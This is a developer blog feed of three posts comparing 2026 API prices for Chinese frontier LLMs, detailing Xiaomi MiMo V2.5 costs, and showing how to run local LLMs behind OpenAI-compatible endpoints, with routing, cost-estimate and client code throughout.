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The 2026 Chinese LLM Price War: Top 5 Frontier API Costs Compared

Hassann — Wed, 27 May 2026 07:02:39 +0000

Chinese labs cut LLM API prices six times in the first half of 2026, and three of those cuts were declared permanent. DeepSeek V4-Pro now costs $0.87 per million output tokens. Xiaomi MiMo V2.5 flattened its long-context tier to $3 output. Alibaba’s Qwen3 Max ships at $3.90. Moonshot’s Kimi K2.6 holds the cache-hit floor at $0.07. Zhipu’s GLM-5 sits at $3.20 output. Use this breakdown to choose, test, and route workloads across the top five Chinese frontier APIs in May 2026.

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TL;DR

Cheapest output tokens: DeepSeek V4-Pro at $0.87/MTok, roughly 34x below GPT-5.5.
Cheapest 1M-context option: Xiaomi MiMo V2.5 Pro at $3/MTok output, flat across input length.
Best general production balance: Alibaba Qwen3 Max at $3.90/MTok output with 262K context.
Lowest cache-hit floor: Moonshot Kimi K2.6 at $0.07/MTok cached, useful for long stable prompts.
Reasoning-heavy workloads: Zhipu GLM-5 at $3.20/MTok output with 200K context.
Practical takeaway: route by workload. Do not pick one model for everything unless your workload is very narrow.

How the 2026 Chinese LLM price war unfolded

The price drops started in Q4 2025 and accelerated in Q2 2026:

Q4 2025: DeepSeek V3.2 launches at $0.28/MTok input, undercutting US frontier prices by an order of magnitude. Kimi K2.6 follows with tiered context-aware pricing and a $0.07/MTok cache-hit rate.
March 2026: Xiaomi unveils MiMo V2-Pro on OpenRouter with competitive tier-based rates.
April 2026: DeepSeek V4 launches with a 75% promotional discount scheduled to expire May 31.
May 22, 2026: DeepSeek makes the 75% discount permanent. V4-Pro stays at $0.435 input / $0.87 output. The full breakdown is here.
May 27, 2026: Xiaomi makes MiMo V2.5 pricing permanent at $1 input / $3 output, removing the long-context multiplier. More on the MiMo cut.

The cuts target different developer pain points:

DeepSeek: raw cost-per-token.
MiMo: long-context workloads that other models price out.
Qwen: production stability and broad capability.
Kimi: coding agents and repeated prompt-prefix workflows.
GLM: structured reasoning and chain-of-thought-heavy tasks.

At a glance: top 5 Chinese LLM APIs in May 2026

Model	Input ($/MTok)	Output ($/MTok)	Cache hit	Context	Best at
DeepSeek V4-Pro	$0.435	$0.87	$0.003625	128K	Cheapest per token, coding
Xiaomi MiMo V2.5 Pro	$1.00	$3.00	$0.20	1M	Long-document RAG, repo agents
Alibaba Qwen3 Max	$0.78	$3.90	$0.156	262K	Production balance
Moonshot Kimi K2.6	$0.16–$2.00 tiered	~$2.50	$0.07	128K	Long system prompts, coding agents
Zhipu GLM-5	$1.00	$3.20	Provider-defined	200K	Structured reasoning

How to read the table:

Use flat-rate models for predictable billing. DeepSeek and MiMo are easier to model in production because pricing does not jump across context tiers.
Benchmark cache-hit pricing separately. Kimi K2.6 and DeepSeek V4-Pro are outliers for repeated prefixes. If your agent reuses a stable system prompt, your effective input cost can be much lower than list input pricing. See this prompt caching deep dive.
Do not ignore context limits. MiMo V2.5 is the only 1M-context option in this set. If your prompt regularly exceeds 300K tokens, the practical choice narrows quickly.

Selection workflow

Before picking a model, classify your workload:

Measure input/output ratio.
- Output-heavy: code generation, content generation, agent chains.
- Input-heavy: RAG, summarization, document analysis.
Measure context size.
- Under 128K: all five are possible.
- 128K–262K: Qwen or GLM are practical.
- 300K–1M: MiMo is the main option.
Check prompt stability.
- Stable system prompt: prioritize cache-hit pricing.
- Highly variable prompt: prioritize normal input/output rates.
Run your own eval.
- Use 50–100 real prompts.
- Score correctness, latency, tool-call validity, and cost.
- Do not rely only on public benchmarks.

A simple routing rule can look like this:

function selectModel({ inputTokens, outputHeavy, stablePrefix, reasoningHeavy, multilingual }) {
  if (inputTokens > 300_000) return "xiaomi-mimo-v2.5-pro";
  if (reasoningHeavy) return "zhipu-glm-5";
  if (stablePrefix) return "moonshot-kimi-k2.6";
  if (multilingual) return "alibaba-qwen3-max";
  if (outputHeavy) return "deepseek-v4-pro";

  return "alibaba-qwen3-max";
}

DeepSeek: the cheapest per token

Models: V4-Pro ($0.435 input / $0.87 output / $0.003625 cache hit, 128K context), V4-Flash ($0.14 / $0.28).

DeepSeek V4-Pro is the price floor of the Chinese frontier-tier shelf. The May 22 permanent cut put output tokens at $0.87/MTok, roughly 34x below GPT-5.5 and 17x below Claude Opus 4.7. Cache-hit pricing at $0.003625/MTok is the lowest first-party rate from any major lab. Pricing is confirmed against DeepSeek’s official pricing page.

Use DeepSeek V4-Pro when

Your workload is output-heavy.
You generate code, agent steps, reports, or content at scale.
Your prompts fit inside 128K context.
You can accept a small quality gap versus more expensive frontier models.
You reuse stable 5K–10K-token system prompts and can benefit from prompt caching.

Avoid DeepSeek V4-Pro when

Your prompts exceed 128K tokens.
You need sub-second time-to-first-token.
Your workload depends on long-document retrieval beyond the context window.

Implementation tip

For cost-sensitive generation, route only the final answer or code-generation step to DeepSeek:

const response = await fetch("https://api.deepseek.com/chat/completions", {
  method: "POST",
  headers: {
    "Authorization": `Bearer ${process.env.DEEPSEEK_API_KEY}`,
    "Content-Type": "application/json"
  },
  body: JSON.stringify({
    model: "deepseek-v4-pro",
    messages: [
      { role: "system", content: "You are a concise coding assistant." },
      { role: "user", content: "Write a TypeScript function to validate an email." }
    ]
  })
});

For deeper coverage:

Xiaomi MiMo: the cheapest 1M-context option

Models: MiMo V2.5 Pro ($1.00 input / $3.00 output / $0.20 cache, 1M context), MiMo V2 Flash (~$0.10 / ~$0.40, 256K context).

Xiaomi’s May 27 permanent cut flattened MiMo V2.5 pricing across context windows. The old long-context tiers charged steep multipliers above 256K input tokens. The new pricing applies the same $1/$3 rate whether you send 5K or 950K tokens. The official price-update notice labels the cut “permanent.”

Use MiMo V2.5 Pro when

You need 300K–1M tokens of context.
You process large documents, full repositories, or multi-document bundles.
Predictable long-context billing matters more than minimum per-token price.
You want to avoid chunking and retrieval complexity for some workloads.

Avoid MiMo V2.5 Pro when

Your prompts fit under 128K and cost is the main constraint.
You need very low latency.
You are building short-prompt chat where DeepSeek is cheaper.

Implementation tip

Use MiMo for long-context branches only:

function shouldUseMiMo(inputTokens) {
  return inputTokens > 300_000;
}

Then keep short requests on cheaper models:

const model = shouldUseMiMo(inputTokens)
  ? "mimo-v2.5-pro"
  : "deepseek-v4-pro";

The 1M context window plus competitive cache rate gives MiMo a unique place in the market. Until DeepSeek extends context beyond 128K or Alibaba flattens Qwen’s pricing, MiMo owns the cheap-and-long quadrant.

For deeper coverage:

Alibaba Qwen: the production workhorse

Models: Qwen3 Max ($0.78 input / $3.90 output / $0.156 cache, 262K context). Newer Qwen 3.7 Max at $2.50/MTok input with 1M context is in early rollout. Rates verified against pricepertoken’s Qwen3 Max sheet.

Qwen3 Max is Alibaba’s flagship and one of the most-deployed Chinese models in international production. It is not the cheapest option: it is about 1.8x DeepSeek V4-Pro on input and 4.5x on output. The tradeoff is broader tooling support, OpenAI-compatible usage, Anthropic-protocol drop-in support, Alibaba Cloud enterprise hosting, and a 262K context window.

Use Qwen3 Max when

You need strong general-purpose production quality.
You serve multilingual users, especially Mandarin and Asian-language-heavy traffic.
You need 200K–262K context.
You care about enterprise hosting, SLA, or cloud-region options.

Avoid Qwen3 Max when

Your workload is output-heavy and cost-sensitive.
Your prompts fit in DeepSeek’s context window and DeepSeek quality is sufficient.
You do not need the enterprise ecosystem.

Implementation tip

Use Qwen as the default fallback for mixed traffic:

function routeGeneralRequest(request) {
  if (request.outputHeavy && request.inputTokens < 128_000) {
    return "deepseek-v4-pro";
  }

  if (request.inputTokens > 300_000) {
    return "mimo-v2.5-pro";
  }

  return "qwen3-max";
}

For deeper coverage:

Qwen 3 vs OpenAI & DeepSeek: in-depth technical comparison for API developers

Moonshot Kimi: the coding specialist

Models: Kimi K2.6 with context-tiered input pricing ($0.16 to $2.00/MTok across 8K, 32K, 64K, and 128K bands), $0.07/MTok cache-hit floor, output rates around $2.50/MTok in the middle band.

Kimi K2.6 is strongest when your workload reuses a large prefix. The $0.07/MTok cache-hit rate makes repeated system prompts, stable few-shot examples, and long-running agent instructions much cheaper after caching works.

Use Kimi K2.6 when

You are building coding agents.
You reuse a large stable system prompt.
You need strong tool-call format compliance.
You have long-running chat sessions with repeated instructions.

Avoid Kimi K2.6 when

Your prompt prefix changes every request.
You need highly predictable billing.
Your traffic frequently crosses tier boundaries at 32K, 64K, or 128K input tokens.

Implementation tip

Keep your system prompt stable and put request-specific data later in the prompt. This improves the chance of cache hits.

const messages = [
  {
    role: "system",
    content: STATIC_AGENT_INSTRUCTIONS // keep this byte-stable across calls
  },
  {
    role: "user",
    content: dynamicUserTask
  }
];

For deeper coverage:

Is Kimi K2 API pricing really worth the hype for developers in 2026

Zhipu GLM: the reasoning challenger

Models: GLM-5 ($1.00 input / $3.20 output, 200K context), GLM-5.1 ($0.98 / $3.08, 200K context). Rates verified against Z.AI’s official pricing overview.

Zhipu’s GLM-5 launched with a 30% price increase over GLM-4.7, then GLM-5.1 arrived at a marginal discount. The positioning is clear: GLM is not the cheapest model in this set, but it is designed for structured reasoning and chain-of-thought-heavy tasks.

Use GLM-5 when

You need math, formal reasoning, or structured analysis.
Wrong answers are expensive.
You are building financial analysis, legal summarization, or scientific reasoning flows.
Your multi-step agent workflows benefit from clean reasoning traces.

Avoid GLM-5 when

You optimize primarily for cost.
Your workload is simple summarization or content generation.
Strong reasoning does not materially improve the output.

Implementation tip

Route only the hard tail to GLM:

function routeByDifficulty(task) {
  if (task.requiresFormalReasoning || task.domainRisk === "high") {
    return "glm-5";
  }

  return "deepseek-v4-pro";
}

For deeper coverage:

Cheapest per workload: buyer’s matrix

Workload	Winner	Why
Code generation, output-heavy	DeepSeek V4-Pro	$0.87/MTok output is the lowest
Long-document RAG over 300K context	Xiaomi MiMo V2.5 Pro	Only flat-priced 1M-context option
Coding agent with stable system prompt	Kimi K2.6	$0.07/MTok cache-hit floor
Multilingual customer support	Alibaba Qwen3 Max	Strongest non-English performance
Math, formal reasoning, structured analysis	Zhipu GLM-5	Best chain-of-thought quality

Three practical routing patterns:

1. Two-model routing

Send most easy traffic to DeepSeek and reserve another model for the hard tail.

if (request.isRoutine && request.inputTokens < 128_000) {
  return "deepseek-v4-pro";
}

return "qwen3-max";

2. Long-context segmentation

Split by context length.

if (inputTokens > 300_000) {
  return "mimo-v2.5-pro";
}

return "deepseek-v4-pro";

3. Cache prefix consolidation

Make repeated prompt sections identical across requests:

const CACHEABLE_PREFIX = `
You are an internal code review agent.
Follow the same review rubric for every request.
Return JSON only.
`;

Avoid injecting timestamps, request IDs, or user-specific metadata into the cacheable prefix unless required.

Quality and benchmark notes

Pricing only matters if the model is good enough for your workload.

Per Artificial Analysis, the five models in this comparison cluster within 5 to 10 percentage points of each other on most public benchmarks. The important differences are in the workload tails:

DeepSeek V4-Pro: strong on coding, with SWE-bench Pro around 55%, and reasoning, with GPQA around 90%. Slight gap to GPT-5.5 on long-horizon agent tasks.
MiMo V2.5 Pro: strong on long-context retrieval, with over 95% needle accuracy at 800K, and middle-of-pack on coding.
Qwen3 Max: best non-English performance and strong general production quality.
Kimi K2.6: strongest tool-call format compliance, especially for parallel tool calls.
GLM-5: best chain-of-thought reasoning quality in this set.

Run your own 100-sample eval before committing. Public benchmarks are directional. Your production prompts are the real benchmark.

Testing all five with Apidog

A multi-model production deploy needs a multi-model test harness. Apidog can test all five APIs from one workspace because all five accept OpenAI Chat Completions-style request bodies, with minor provider-specific quirks.

Use this workflow:

Create one environment per provider
- api.deepseek.com
- platform.xiaomimimo.com
- Alibaba Cloud Model Studio
- api.moonshot.cn
- open.bigmodel.cn
Import the OpenAI Chat Completion schema once

Use the same request body shape, then switch the base URL per environment.

Run the same scenario across all five models

Track:

response correctness
latency
output token count
tool-call validity
total cost

Validate tool calls with JSON Schema

This catches provider-specific streaming and tool_calls formatting quirks.

Example validation target:

{
  "type": "object",
  "required": ["tool_calls"],
  "properties": {
    "tool_calls": {
      "type": "array",
      "items": {
        "type": "object",
        "required": ["id", "type", "function"],
        "properties": {
          "id": { "type": "string" },
          "type": { "const": "function" },
          "function": {
            "type": "object",
            "required": ["name", "arguments"],
            "properties": {
              "name": { "type": "string" },
              "arguments": { "type": "string" }
            }
          }
        }
      }
    }
  }
}

Download Apidog, import your test cases, and you can build a five-way comparison quickly.

Related deep dives:

Where the price war goes next

The pricing floor moved twice in May. Two more moves are likely before Q3 closes:

Qwen response: Alibaba has rarely been first to cut, but consistently follows within weeks. Expect a Qwen3 Max revision or Qwen 3.8 announcement by July.
GLM response: Zhipu’s 30% increase on GLM-5 looks increasingly contrarian. A GLM-5.2 with a structural cut is plausible.
Kimi structural simplification: Tiered context pricing is going out of fashion. Moonshot may flatten K2.6 to match MiMo’s structure.

Next steps

Pick your top three production workloads.
Map each workload to the buyer’s matrix.
Run a 100-sample eval across the likely models.
Normalize your system prompts so cache prefixes are stable.
Wire an Apidog regression suite across all five providers.

The price floor is still moving. Build your LLM stack so model swaps and routing changes take hours, not weeks.

How Much Does It Cost to Use Xiaomi MiMo V2.5 in 2026?

Hassann — Wed, 27 May 2026 03:57:56 +0000

Xiaomi MiMo V2.5 API pricing dropped to a flat $1 per million input tokens and $3 per million output tokens on May 27, 2026, and Xiaomi made the rate permanent. The previous long-context multiplier for prompts above 256K tokens is gone. You now pay one rate regardless of context length, which makes MiMo V2.5 one of the cheapest production models with a 1M-token context window.

Try Apidog today

TL;DR

MiMo V2.5 Pro pricing as of May 27, 2026: $1.00 input, $3.00 output, $0.20 cached input per million tokens, with a 1M-token context window.
The “up to 99% off” claim applies mostly to long-context usage. The old schedule became expensive above 256K input tokens. The new flat rate removes that multiplier.
Token Plan customers received a 5x to 8x quota increase and a reset of used credits inside the existing validity window.
The price cut is permanent, not a limited promotion.
Best fit: long-document RAG, codebase-wide agents, large PDF analysis, and workloads that regularly exceed 200K tokens.

What changed on May 27, 2026

Xiaomi’s official price-update notice lists three pricing changes. They took effect at 00:00 Beijing time on May 27, 2026, which is 16:00 UTC on May 26.

1. Flat pricing across context windows

The old MiMo V2.5 schedule used tiered rates:

Base price for prompts up to 32K input tokens
Higher rate for 32K to 256K input tokens
Much higher rate above 256K input tokens

The new schedule uses one rate per token type:

Input: $1.00 / 1M tokens
Output: $3.00 / 1M tokens
Cached input: $0.20 / 1M tokens

For long-context apps, this removes the long-context tax.

2. Permanent pricing

The notice uses “Permanent Price Reduction” and says Xiaomi will “permanently renovate the entire model pricing system.” There is no listed expiry date or rollback clause, so teams can treat this as the current list price.

3. Token Plan reset

If you use Xiaomi’s prepaid Token Plan, your quota was increased by 5x to 8x. Credits already consumed during the validity period were also refunded.

The validity period itself did not change, so existing Token Plan users received more usable budget but not more time.

The “up to 99% off” headline is most relevant to the old 256K+ long-context band. If your workloads already stayed inside the base tier, the cut is smaller but still useful.

New permanent price sheet

Pricing per 1 million tokens, USD:

Model	Input	Output	Cached Input	Context
MiMo V2.5 Pro	$1.00	$3.00	$0.20	1M tokens
MiMo V2 Flash	~$0.10	~$0.40	$0.02	256K tokens

Implementation notes:

The cached input rate is 5x cheaper than the regular input rate.
The 1M-token context window is the main advantage for long-document workflows.
The notice mentions V2.5 Omni and TTS variants, but does not itemize them in the same way. Verify those separately on Xiaomi’s platform before budgeting.

For older V2-Pro pricing context, see the MiMo V2-Pro & Omni pricing guide.

What MiMo V2.5 changes for builders

The pricing update matters most if your current architecture uses chunking, summarization, or retrieval only because full-context calls were too expensive.

With the new rate, you can evaluate simpler flows:

Before:

PDFs / repo / docs
    ↓
Chunk
    ↓
Embed
    ↓
Retrieve top-k chunks
    ↓
Send reduced context to model

After, for some workloads:

Full document / large repo context
    ↓
Send directly to MiMo V2.5 Pro
    ↓
Validate answer

This does not mean you should remove RAG everywhere. It means you should re-test whether chunking is still required for cost reasons.

Good candidates for direct long-context evaluation:

Legal or financial PDFs
Large internal manuals
Repository-wide code review
Multi-file refactoring agents
Long customer support histories
Compliance or audit document review

Compare MiMo V2.5 with other frontier APIs

The useful comparison is not against MiMo’s old price. It is against other production API options available in May 2026:

Model	Input ($/MTok)	Output ($/MTok)	Context
Xiaomi MiMo V2.5 Pro	$1.00	$3.00	1M
DeepSeek V4-Pro	$0.435	$0.87	128K
GPT-5.5	$5.00	$30.00	200K
Claude Opus 4.7	$3.00	$15.00	200K
Gemini 3.5 Flash	~$1.50	~$9.00	1M

Practical read:

DeepSeek V4-Pro is still cheaper per token, especially for workloads that fit inside 128K context.
MiMo V2.5 is stronger for 1M-context workloads because the context window is the differentiator.
MiMo V2.5 is cheaper than GPT-5.5 and Claude Opus 4.7 in this comparison, especially on output tokens.
For benchmark context, see Artificial Analysis.

For the DeepSeek side, read DeepSeek V4-Pro 75% Price Cut Is Now Permanent.

Estimate your new bill

Use this formula:

monthly_cost =
  (monthly_input_tokens / 1_000_000 * input_price)
+ (monthly_cached_input_tokens / 1_000_000 * cached_input_price)
+ (monthly_output_tokens / 1_000_000 * output_price)

For MiMo V2.5 Pro:

function estimateMiMoCost({
  inputTokens,
  cachedInputTokens = 0,
  outputTokens,
}) {
  const INPUT_PER_MILLION = 1.00;
  const CACHED_INPUT_PER_MILLION = 0.20;
  const OUTPUT_PER_MILLION = 3.00;

  return (
    (inputTokens / 1_000_000) * INPUT_PER_MILLION +
    (cachedInputTokens / 1_000_000) * CACHED_INPUT_PER_MILLION +
    (outputTokens / 1_000_000) * OUTPUT_PER_MILLION
  );
}

const monthlyCost = estimateMiMoCost({
  inputTokens: 1_200_000_000,
  cachedInputTokens: 300_000_000,
  outputTokens: 90_000_000,
});

console.log(`$${monthlyCost.toFixed(2)}`);

Example workload costs

1. Long-document RAG over enterprise PDFs

Assume:

50,000 queries/day
800K input tokens per query
1K output tokens per answer
30-day month

At the new flat rate:

Input:
50,000 * 800,000 * 30 = 1,200,000,000,000 tokens
1,200,000 MTok * $1.00 = $1,200,000

Output:
50,000 * 1,000 * 30 = 1,500,000,000 tokens
1,500 MTok * $3.00 = $4,500

Estimated monthly cost:
$1,204,500

This is exactly the class of workload where the old long-context multiplier mattered most. If your previous estimate used the old 256K+ tier, recalculate it.

2. Code-review agent

Assume:

5,000 pull requests/day
30K repo/context tokens per request
2K output tokens per review
30-day month

Input:
5,000 * 30,000 * 30 = 4,500,000,000 tokens
4,500 MTok * $1.00 = $4,500

Output:
5,000 * 2,000 * 30 = 300,000,000 tokens
300 MTok * $3.00 = $900

Estimated monthly cost:
$5,400

3. Customer support chatbot

Assume:

200,000 turns/day
4K-token system prompt
300 output tokens per response
30-day month

Without caching:

Input:
200,000 * 4,000 * 30 = 24,000,000,000 tokens
24,000 MTok * $1.00 = $24,000

Output:
200,000 * 300 * 30 = 1,800,000,000 tokens
1,800 MTok * $3.00 = $5,400

Estimated monthly cost:
$29,400

With prompt caching, this can drop significantly if the system prompt is stable.

Use prompt caching correctly

The cached input rate is $0.20/M, compared with $1.00/M for regular input. That is a 5x discount.

Caching helps when the beginning of your prompt is stable across requests.

Good cache candidates:

System prompts
Tool definitions
Static policy text
Static product documentation
Stable instruction blocks

Avoid changing the prompt prefix unnecessarily. These will reduce cache hits:

Injecting timestamps into the system prompt
Randomizing tool order
Reordering retrieved documents without reason
Adding request IDs before reusable content

Example:

Bad prefix:

You are a support assistant.
Request ID: 9f13a
Current time: 2026-05-27T09:13:22Z
...

Good prefix:

You are a support assistant.
Follow this policy:
...
<stable tool definitions>
...
<request-specific data later>

For more on caching mechanics, see How prompt caching supercharges LLM performance and reduces costs.

When MiMo V2.5 is a good fit

Use MiMo V2.5 when your workload benefits from the 1M-token context window.

Good fits:

Long-document RAG
Full-PDF analysis
Codebase-wide review
Repo-wide refactoring
Document comparison
Large customer history analysis
High-volume document processing with stable prompt prefixes

Less ideal fit:

Latency-critical chat
Autocomplete
Typeahead
Sub-second interactive UX

MiMo V2.5 Pro is not positioned as the fastest first-token model. For latency-sensitive flows, compare it against faster models before switching.

Caveats to test:

Data residency: API calls route through Xiaomi infrastructure in China.
Reliability: Xiaomi’s first-party API has a shorter production history than some US-hosted frontier APIs.
Function calling: The API is OpenAI-compatible at the schema level, but you should test streamed tool calls and parallel tool calls before production rollout.

For related Xiaomi context, see:

Test MiMo V2.5 with Apidog

The API is OpenAI-compatible enough to test quickly, but you should still validate your actual prompts, tool calls, and regression cases before moving traffic.

With Apidog, you can point a Chat Completions request at:

https://platform.xiaomimimo.com/v1

Then use your MiMo API key and test the request like any OpenAI-compatible endpoint.

Example request shape:

curl https://platform.xiaomimimo.com/v1/chat/completions \
  -H "Authorization: Bearer $MIMO_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "mimo-v2.5-pro",
    "messages": [
      {
        "role": "system",
        "content": "You are a concise technical assistant."
      },
      {
        "role": "user",
        "content": "Summarize this document and list implementation risks."
      }
    ]
  }'

Use Apidog to:

Save golden responses from MiMo V2.5 Pro.
Replay the same prompts after prompt changes.
Validate tool_calls with JSON Schema assertions.
Compare MiMo V2.5 against your current model using the same request batch.
Catch malformed streamed function arguments before they hit production.

Download it here: Download Apidog.

The same workflow is covered in How to use the DeepSeek V4 API.

The 2026 LLM price war

MiMo V2.5 is the second permanent frontier-tier price cut from a Chinese lab in the same week. DeepSeek made V4-Pro permanent at 1/4 of list price on May 22. Kimi K2 cut earlier in Q1. OpenAI O3 dropped 80% in February.

The pattern:

Chinese labs are competing aggressively on price.
US labs are competing more on capability, bundling, and platform features.
The benchmark gap is small enough that many teams should re-test instead of assuming their current model is still the best default.

Related pricing breakdowns:

What to do next

If you run any workload with more than 200K tokens of useful context, re-price it.

Recommended migration checklist:

Export your top workloads by monthly token volume.
Recalculate costs with:
- $1.00/M input
- $3.00/M output
- $0.20/M cached input
Select 100 representative production prompts.
Run MiMo V2.5 Pro and your current model side by side.
Validate:
- Output quality
- Tool-call JSON shape
- Streaming behavior
- Latency
- Cache-hit rate
Move only the traffic classes where quality and latency are acceptable.
Keep regression tests in Apidog so future model swaps are faster.

The price floor for 1M-context inference moved again. If your architecture was built around old long-context pricing, it is worth testing whether that complexity still pays for itself.

How to use Local LLMs as APIs ?

Hassann — Tue, 26 May 2026 09:48:34 +0000

Your laptop can expose a local LLM behind the same OpenAI-style API your production code already uses. In practice, you swap one base_url, keep the same SDK calls, and test the same request/response contract against Ollama, vLLM, or llama.cpp. This gives you offline development, zero per-token local test cost, and a private path for sensitive prompts. This guide shows how to choose a runtime, start an OpenAI-compatible endpoint, point your client at it, and validate the flow with Apidog.

Try Apidog today

TL;DR

Run a local LLM API with Ollama, vLLM, or llama.cpp. Each can expose an OpenAI-compatible REST endpoint.

For example, if your current client points to:

https://api.openai.com/v1

you can switch local development to:

http://localhost:11434/v1

Then the same OpenAI SDK code can call a local model such as Llama 3.3, DeepSeek V4, or Qwen 3.6. Use Apidog environments to keep your API scenarios identical across local and hosted targets.

Introduction

Local LLM APIs are now practical for day-to-day development because the API surface has standardized. Most major runtimes now implement the OpenAI /v1/chat/completions shape, so you no longer need separate client code for local and hosted models.

That matters for API developers. If your existing Apidog request points at:

https://api.openai.com/v1/chat/completions

you can parameterize the base URL, switch environments, and send the same request to a model running on your own hardware. No new schema. No new client flow. No rewrite.

If you already track API spend per feature, you can compare hosted and local models with the same test cases and make the trade-off explicit: lower cost and better privacy locally, usually higher latency than hosted APIs.

This walkthrough covers:

Choosing a local runtime
Starting an OpenAI-compatible server
Calling it from Python and JavaScript
Testing the same flow in Apidog
Understanding quantization and GPU offload
Comparing local vs hosted cost and latency

For a broader model overview, see Best local LLMs 2026.

Why local LLMs make sense for API developers

A local LLM API is useful when you need your development environment to behave like production without depending on a remote network call.

Common reasons include:

You need to debug while offline.
Customer networks block egress to hosted AI APIs.
Prompts contain sensitive user data.
You want repeatable model behavior for regression tests.
You want to reduce token spend during development.

Privacy is often the strongest reason. HIPAA, GDPR, and the EU AI Act can treat prompts as user data when they include patient notes, contracts, account details, biometric identifiers, or other sensitive content. Sending that data to a hosted endpoint may create a data-processor relationship you need to document and audit. Running inference on your own hardware can reduce that operational burden.

Cost also compounds quickly. If a team sends tens of millions of prompt tokens per day to a hosted model, development and test traffic can become expensive. Local inference moves that cost to hardware and electricity. You can compare the same arithmetic with your hosted usage; this GPT-5.5 Instant guide provides a related pricing breakdown.

The third reason is stability. Hosted model snapshots can be updated or retired. A local model file stays fixed until you replace it. That helps when your regression suite depends on consistent LLM behavior.

Three runtimes that expose OpenAI-compatible endpoints

Pick the runtime based on your workload and hardware.

Ollama

Ollama is the fastest path for local development. It provides a single CLI, handles model downloads, and runs an HTTP server on port 11434.

Install and run a model:

# install on macOS
brew install ollama

# start the server
ollama serve &

# pull a model
ollama pull llama3.3:70b-instruct-q4_K_M

# run it interactively
ollama run llama3.3:70b-instruct-q4_K_M

The OpenAI-compatible base URL is:

http://localhost:11434/v1

Use Ollama when you want:

Single-machine development
Simple setup
Local demos
CI smoke tests
Apple Silicon support

vLLM

vLLM is designed for higher-throughput serving. It uses PagedAttention and continuous batching to improve performance under concurrent load.

Start an OpenAI-compatible server:

pip install vllm

vllm serve meta-llama/Llama-3.3-70B-Instruct \
  --port 8000 \
  --gpu-memory-utilization 0.9 \
  --max-model-len 8192

The base URL is:

http://localhost:8000/v1

Use vLLM when you want:

Shared dev clusters
CUDA or ROCm GPU serving
Concurrent requests
Higher throughput than laptop-oriented runtimes

vLLM is not the right choice for most Apple Silicon laptop workflows.

llama.cpp

llama.cpp is the low-level C++ runtime behind much of the GGUF ecosystem. It runs across a wide range of hardware and exposes an OpenAI-compatible endpoint through llama-server.

Build and run:

git clone https://github.com/ggerganov/llama.cpp
cd llama.cpp && make -j LLAMA_METAL=1

./llama-server -m models/llama-3.3-70b-q4_k_m.gguf \
  --port 8080 \
  --host 0.0.0.0 \
  -c 8192 \
  -ngl 99

The endpoint is:

http://localhost:8080/v1/chat/completions

Use llama.cpp when you need:

Fine-grained quantization control
Memory mapping options
GPU layer offload tuning
Support for constrained or unusual hardware

LM Studio and Jan wrap llama.cpp in a GUI and can also expose OpenAI-compatible endpoints. They are useful when non-terminal users need to test prompts locally.

Verify the local endpoint

Before wiring your app, make a minimal SDK call.

from openai import OpenAI

client = OpenAI(
    base_url="http://localhost:11434/v1",
    api_key="ollama",
)

resp = client.chat.completions.create(
    model="llama3.3:70b-instruct-q4_K_M",
    messages=[
        {"role": "user", "content": "Reply with the word OK only."}
    ],
)

print(resp.choices[0].message.content)

Expected output:

OK

If that works, your runtime, port, model name, and SDK contract are aligned.

Test your local LLM with Apidog

A local LLM API is most useful when your tests can hit it the same way they hit production. In Apidog, use environments to switch only the base URL and API key.

Step 1: Create a local environment

Create an environment named Local.

Add:

BASE_URL=http://localhost:11434/v1
API_KEY=ollama

Step 2: Create a production environment

Clone your existing OpenAI environment and name it Production.

Use:

BASE_URL=https://api.openai.com/v1
API_KEY=<your-hosted-api-key>

Step 3: Parameterize the request

Change the request URL from a hardcoded host to:

{{BASE_URL}}/chat/completions

Set the authorization header to:

Authorization: Bearer {{API_KEY}}

Example request body:

{
  "model": "llama3.3:70b-instruct-q4_K_M",
  "messages": [
    {
      "role": "system",
      "content": "You are a concise API assistant."
    },
    {
      "role": "user",
      "content": "Return a JSON object with status=ok."
    }
  ],
  "temperature": 0.2
}

Step 4: Add scenario assertions

Create a scenario test that sends the request and checks:

choices[0].message.role == "assistant"
choices[0].message.content is not empty
usage.total_tokens > 0

These assertions validate the response contract without depending on exact model wording.

Step 5: Run the same scenario twice

Run once with the Local environment.

Then switch to Production and run again.

The same request and assertions should pass for both environments. This gives you a reusable smoke test for local runtime upgrades, hosted model changes, and client-side contract drift.

The same pattern also applies to testing AI agents that call multi-step APIs.

Wire the local model into application code

Python

Use one function to choose the target environment:

import os
from openai import OpenAI


def get_client():
    if os.getenv("ENV") == "local":
        return OpenAI(
            base_url="http://localhost:11434/v1",
            api_key="ollama",
        )

    return OpenAI(
        api_key=os.environ["OPENAI_API_KEY"]
    )


client = get_client()

response = client.chat.completions.create(
    model=os.getenv("MODEL", "llama3.3:70b-instruct-q4_K_M"),
    messages=[
        {"role": "system", "content": "You are a JSON-only assistant."},
        {"role": "user", "content": "Return {\"status\": \"ok\"}."},
    ],
    response_format={"type": "json_object"},
)

print(response.choices[0].message.content)

Run locally:

ENV=local MODEL=llama3.3:70b-instruct-q4_K_M python app.py

Run against hosted OpenAI:

ENV=production OPENAI_API_KEY=sk-... MODEL=gpt-... python app.py

JavaScript

import OpenAI from "openai";

const isLocal = process.env.ENV === "local";

const client = new OpenAI({
  baseURL: isLocal
    ? "http://localhost:11434/v1"
    : "https://api.openai.com/v1",
  apiKey: isLocal ? "ollama" : process.env.OPENAI_API_KEY,
});

const resp = await client.chat.completions.create({
  model: process.env.MODEL || "llama3.3:70b-instruct-q4_K_M",
  messages: [
    {
      role: "user",
      content: "Say hi.",
    },
  ],
});

console.log(resp.choices[0].message.content);

Run locally:

ENV=local MODEL=llama3.3:70b-instruct-q4_K_M node app.js

Add the scenario to CI

After you validate the request manually, export the Apidog project as an apidog-cli collection and run it in CI.

Example GitHub Actions shape:

name: API contract tests

on:
  pull_request:
  push:
    branches: [main]

jobs:
  test-api-contract:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - name: Install Apidog CLI
        run: npm install -g apidog-cli

      - name: Run Apidog scenarios
        run: apidog run ./apidog-collection.json

If an assertion fails, the command exits non-zero and the build fails.

QA teams can wire the same flow into existing API testing pipelines.

Advanced techniques and pro tips

Choose the right quantization

Quantization decides whether a large model fits on your machine.

GGUF models commonly ship in 8-bit, 6-bit, 5-bit, 4-bit, 3-bit, and 2-bit variants.

Practical defaults:

Quantization	Use case
`Q8`	Better quality, higher RAM and disk use
`Q5_K_M`	Good quality if you have extra memory
`Q4_K_M`	Strong default for chat workloads
`Q2_K`	Smaller footprint, larger quality loss

